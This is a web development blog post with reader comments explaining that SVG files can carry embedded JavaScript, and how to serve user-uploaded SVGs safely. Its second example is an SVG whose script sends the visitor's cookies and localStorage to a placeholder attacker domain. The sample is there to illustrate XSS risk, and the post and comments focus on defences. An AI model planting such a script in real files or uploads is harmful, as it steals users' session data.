JavaScript in SVGs

By  on  

SVGs are such an amazing tool for creating custom fonts, animations, size-reduced graphics, and more. They're part HTML, part image, and all awesome. Many websites have moved toward SVG instead of JPG, GIF, and PNG due to the flexibility that SVG provides.

Whats one example of that flexibility? Did you know that you can embed JavaScript directly in your SVG files:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    alert("Hello world");
</script>
</svg>

That's a cool feature but also a security issue if embedded on a page as-is. For example, if a user uploads an SVG to your website with the following code:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    //  BAD! Send the user's info to your website!
    const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage);
    document.location = "https://mybadsite.tld/stolenInfo=" + info;
</script>
</svg>

...they could steal cookies, storage, and other information via XSS. That's a problem. One way to prevent this is stripping the JavaScript out of the SVG, but you could also embed as an <img> or as a background-image via CSS:

<img src="/path/to/image.svg" />

When you use <img> or background-image, JavaScript is prevented from executing, making the SVG relatively safe! You should, however, still be cleansing your SVGs of bad stuff and serving them from a different hostname so as to not share cookies!

Recent Features

  • By
    From Webcam to Animated GIF: the Secret Behind chat.meatspac.es!

    My team mate Edna Piranha is not only an awesome hacker; she's also a fantastic philosopher! Communication and online interactions is a subject that has kept her mind busy for a long time, and it has also resulted in a bunch of interesting experimental projects...

  • By
    Responsive Images: The Ultimate Guide

    Chances are that any Web designers using our Ghostlab browser testing app, which allows seamless testing across all devices simultaneously, will have worked with responsive design in some shape or form. And as today's websites and devices become ever more varied, a plethora of responsive images...

Incredible Demos

  • By
    Create a Dynamic Table of Contents Using MooTools 1.2

    You've probably noticed that I shy away from writing really long articles. Here are a few reasons why: Most site visitors are coming from Google and just want a straight to the point, bail-me-out ASAP answer to a question. I've noticed that I have a hard time...

  • By
    Morphing Elements Using MooTools and CSS

    Morphing an element between CSS classes is another great trick the MooTools JavaScript library enables you to do. Morphing isn't the most practical use of MooTools, but it's still a trick at your disposal. Step 1: The XHTML The block of content that will change is...

Discussion

  1. Kornel

    It’s not safe enough to embed in <img, because an SVG existing at a domain is still a persistent XSS. An attacker can always direct victims to the bare SVG URL.

    You’d at least have to serve SVGs from another throw-away domain. Not just a subdomain, because cookies easily leak across subdomains.

  2. That just seems like a bad idea to allow Javascript embedding in SVGs. I would think the security issues would outweigh any potential uses.

  3. We had this same problem! Even when we did tags, going directly to the image would still cause issues. My initial attempt was to use svgo to strip out scripts, but hackers were still finding ways to sneak around it. Ultimately, the best solution was also to add a content type, so it could never be run on the domain directly (but could still be included via ):

    Content-Disposition: attachment; filename=image.svg
    Content-Type: application/octet-stream
  4. One way to prevent this is stripping the JavaScript out of the SVG

    Be careful, because that’s way more complicated than it may seem.

    If you’re processing them in a JS context, you can use DOMPurify, but anything other than that (regex, strip_tags(), etc) is very likely to have a ton of bypasses. That’s why WordPress still doesn’t allow SVGs to be uploaded.

Wrap your code in <pre class="{language}"></pre> tags, link to a GitHub gist, JSFiddle fiddle, or CodePen pen to embed!